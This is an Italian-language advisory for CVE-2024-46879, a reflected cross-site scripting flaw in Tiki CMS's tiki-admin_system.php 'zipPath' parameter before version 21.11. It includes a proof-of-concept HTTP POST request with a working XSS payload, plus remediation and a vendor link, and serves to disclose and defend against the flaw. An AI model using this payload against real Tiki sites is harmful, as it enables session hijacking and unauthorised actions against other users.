CVE-2024-46879 - Vulnerabilità di Cross-Site Scripting (XSS) Riflessa in Tiki CMS

Tiki CMS - Vulnerabilità di Cross-Site Scripting (XSS) Riflessa nel Parametro 'zipPath'

Disclaimer

Destinato solo a scopi educativi, di ricerca e difensivi. L'uso non autorizzato contro sistemi senza autorizzazione è illegale.

Riepilogo

Una vulnerabilità di Cross-Site Scripting (XSS) riflessa esiste nei dati della richiesta POST zipPath di tiki-admin_system.php in Tiki versione precedente alla 21.11. Questa vulnerabilità consente agli aggressori di eseguire codice JavaScript arbitrario tramite un payload appositamente predisposto, portando potenzialmente all'accesso a informazioni sensibili o ad azioni non autorizzate.

Prodotto(i) interessato(i)

Prodotto: Tiki CMS Groupware
Versioni: precedenti alla 21.11
Componente: tiki-admin_system.php

Dettagli della vulnerabilità

La vulnerabilità è causata da una sanificazione impropria dell'input del parametro zipPath in tiki-admin_system.php. L'input fornito dall'utente viene riflesso nella risposta HTTP senza una codifica sufficiente, consentendo l'esecuzione di JavaScript iniettato.

Impatto

Consente a un utente autenticato di eseguire JavaScript arbitrario nel browser di un altro utente tramite una richiesta appositamente predisposta, portando potenzialmente al dirottamento della sessione o ad azioni non autorizzate.

Proof of Concept (PoC)

Richiesta

POST /tiki-admin_system.php HTTP/1.1
Referer: http://127.0.0.1:9080/ 
Cookie: wiki_plugin_edit_view=true; tabs=%40tabs_wikipages%3A2%40admin_look%3A2%40admin_general%3A3; show_details=n; preview=%40preview_diff_style%3A; local_tz=Asia%2FCalcutta; javascript_enabled=y; PHPSESSID=120ab2736ae548eda9efcd2c862ac76c; PHPSESSIDCV=JHSjEwiO2tLPDG5yIJ2DQw%3D%3D
Host: 127.0.0.1:9080 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15 
Accept: */* 
Content-Length: 94
Content-Type: application/x-www-form-urlencoded 

zipPath=%22'%3E<div%20on<svg/onmouseover="alert(document.domain)">Coldfx</div>"%20/%3E&zip=1

poc

Rimedio

Il problema è stato risolto in Tiki CMS Groupware versione 21.11. Si consiglia agli utenti di eseguire l'aggiornamento a questa o a una successiva versione corretta.

Riferimento del fornitore: https://tiki.org/article515-New-Security-Update-Released-for-Tiki-21-x-LTS-and-Upgrade-is-Strongly-Recommended

CVE-2024-46879-TikiCMS-XSS

Più Popolari